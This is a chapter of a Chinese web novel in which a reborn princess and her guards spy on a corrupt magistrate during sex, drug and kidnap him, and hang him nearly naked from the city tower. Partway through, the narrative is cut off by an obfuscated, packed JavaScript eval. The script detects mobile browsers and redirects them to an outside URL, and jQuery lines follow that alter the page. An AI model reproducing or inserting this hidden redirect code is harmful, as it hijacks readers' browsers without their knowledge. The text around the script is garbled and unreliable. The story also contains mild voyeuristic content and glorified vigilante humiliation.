41. 看古代版活春宫

作品:《重生恶毒公主后搞民生赢麻了

    夜色如墨,寒风卷着些许湿冷掠过临江县城的屋檐。


    砚辞掌心牢牢揽着姜悦璃的腰,足尖点地,带着她如两道轻烟般掠出客栈后院,朝着灯火奢靡的县令府疾驰而去。


    凌七早已提前潜伏到位,三人在县令府外墙的阴影处汇合,借着树影与假山遮掩,悄无声息翻过后院那处守卫松懈的矮墙。


    府内丝竹管弦之声绕耳,酒香与脂粉香混在一起,刺鼻又荒唐,巡逻的家丁护卫大多醉意醺然,心思全然不在值守上。


    砚辞将姜悦璃护在身后,一步步贴着廊下暗影往前挪,指尖始终绷紧,周身气息冷冽如刃。


    眼看就要绕到前院花厅,姜悦璃忽然拽了拽他的衣袖,眼神亮晶晶地往旁边一间亮着暖灯的偏房瞥——


    那房门没关严,留着一道宽宽的缝隙,里面传来的声音,远比花厅的笙歌还要露骨。


    砚辞脸色微沉,当即伸手捂住姜悦璃的眼睛,低声斥道:“殿下,非礼勿视,快走。”


    “哎哎哎你别挡啊!”姜悦璃立刻扒拉开他的手,脑袋还偷偷往前凑,眼睛死死盯着门缝里的景象,看得津津有味,


    “别急着走嘛,就看一眼,我还没见过古代人现场版的呢……”


    暖灯之下,浑身酒气的周虎正把一个娇俏侍女按在榻上,动作粗鄙不堪,全然一副酒色蚀骨的丑态。


    姜悦璃看得嘴角一抽,忍不住压低声音吐槽,语气还带着点嫌弃:


    “啧啧啧,姿势也太单一了吧,一点新意都没有,贪官就是贪官,享乐都这么没水平……”


    砚辞耳尖瞬间爆红,清冷的眉眼又僵又热,简直想直接把眼前不知羞的小殿下打横抱走。


    可他刚要动手,姜悦璃已经攥住他的手腕,眼神一厉——正是最佳时机。


    不等周虎尽兴,姜悦璃顺手摸出凌七准备的迷烟,对着缝隙轻轻一吹。


    淡青色的烟丝悄无声息飘进屋内,不过两息功夫,榻上的两人便浑身一软,直接昏死过去。


    姜悦璃得意地挑了挑眉,推了推僵在原地的砚辞:“愣着干嘛?动手啊,人都睡死了,正好绑走,省得再去花厅跟那群富商周旋。”


    砚辞深吸一口气,压下心头的燥热与无奈,只得依言上前。


    他利落抽出腰间软绳,将衣衫不整的周虎五花大绑。


    又随手扯过一旁的锦被,把人裹成了个圆滚滚的粽子,只露出一张满脸酒气、横肉丛生的脸,看着滑稽又解气。


    整个过程干净利落,半分声响都没闹出。


    凌七在外围打了个手势,示意沿途守卫已经全部解决。


    砚辞扛着被捆严实的周虎,护着姜悦璃原路折返,一路畅通无阻,不过半柱香的功夫,便悄无声息回到了临江驿的客房。


    把人往地上一扔,姜悦璃这才扯下蒙面黑巾,叉着腰得意地哼了一声:


    “搞定!我就说这招比硬闯强吧,还白看了场活春宫,这贪官也太不经绑了。”


    砚辞看着她毫无顾忌的小模样,又气又笑,指尖轻轻敲了敲她的额头,声音低哑又无奈:


    “殿下,下次不许再看那些乱七八糟的东西,属下……会尴尬。”


    青禾端着茶水进来,看见地上被裹得严严实实、衣衫不整的周虎,先是一愣,随即羞得满脸通红,连忙低下头不敢再看。


    凌七守在门口,强忍着嘴角的笑意,沉声道:“殿下,等他醒了,咱们就开始逼问供词与私库钥匙。”


    姜悦璃蹲下身,用一根树枝戳了戳周虎的脸。


    眼珠一转,脑子里又蹦出个更解气的鬼主意,扔掉树枝站起身,拍了拍手上的灰,笑得狡黠又狠利:


    “醒?不用等他慢慢醒。凌七,找根粗麻绳,咱们现在就把他吊到临江县城楼最显眼的地方。”


    砚辞一怔:“殿下,吊在城楼?”


    “对,就吊城楼。”姜悦璃叉着腰,小脸上满是“整治贪官”的爽利,


    “他不是喜欢作威作福、让百姓饿死吗?我就让他光着身子,挂在城楼上给全城流民展览示众,让所有人都看看这位县太爷的丑态!”


    她瞥了眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262662|197652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地上被裹成粽子、衣衫不整的周虎,一脸嫌弃:“给他腰间随便围块破布遮羞就行,别的都不用留,丢死人也活该。”


    青禾听得捂住嘴,又想笑又心惊:“小、小姐,这……这会不会太狠了点?”


    “对贪官狠,就是对百姓好。”姜悦璃眉眼一扬,半点不心软,


    “他吞三万石赈灾粮的时候,怎么没想过狠?今天不把他治服帖,他永远不知道老百姓的苦。”


    砚辞看着她一身正气又古灵精怪的模样,心底那点无奈早化成了纵容,薄唇微扬:“殿下说得是,全听殿下安排。”


    凌七立刻应声出去,不过片刻便找来了粗麻绳与一块灰扑扑的破布。


    三人合力,把依旧昏迷的周虎扒得只剩腰间那块破布遮羞,五花大绑捆在麻绳中间,只留一颗脑袋在外头晃荡。


    夜色正浓,城门守卫本就松懈,再加上凌七提前打点迷晕,三人一路畅通无阻,直接把周虎吊上了临江县城楼最高处。


    冷风一吹,昏迷的周虎猛地打了个寒颤,悠悠转醒。


    刚一睁眼,他就发现自己悬在半空,脚下是空荡荡的黑夜,冷风刮得他浑身发抖,身上只有一块破布,羞耻又恐惧。


    “啊——!放我下来!你们是什么人!知不知道我是谁!我是临江县令!”


    周虎吓得魂飞魄散,肥硕的身子在空中乱蹬,破布摇摇欲坠,模样狼狈又滑稽。


    姜悦璃站在城楼阴影里,抱着胳膊仰头看他,声音清凌凌地飘上去,带着十足的嘲讽:


    “周大人,醒啦?尝尝悬在半空示众的滋味,比你在屋里享乐,舒服多了吧?”


    周虎这才听出是她的声音,又惊又怒又怕:“是你!你、你竟敢绑架朝廷命官!我要奏请朝廷,诛你九族!”


    姜悦璃嗤笑一声,脚步往前踏出阴影,清冷的月光落在她脸上,明明是少女娇容,眼神却冷得像淬了冰。


    她仰头望着在空中乱颤的周虎,声音不大,却穿透了夜色,也戳破了贪官最后的嚣张:


    “你试试啊。”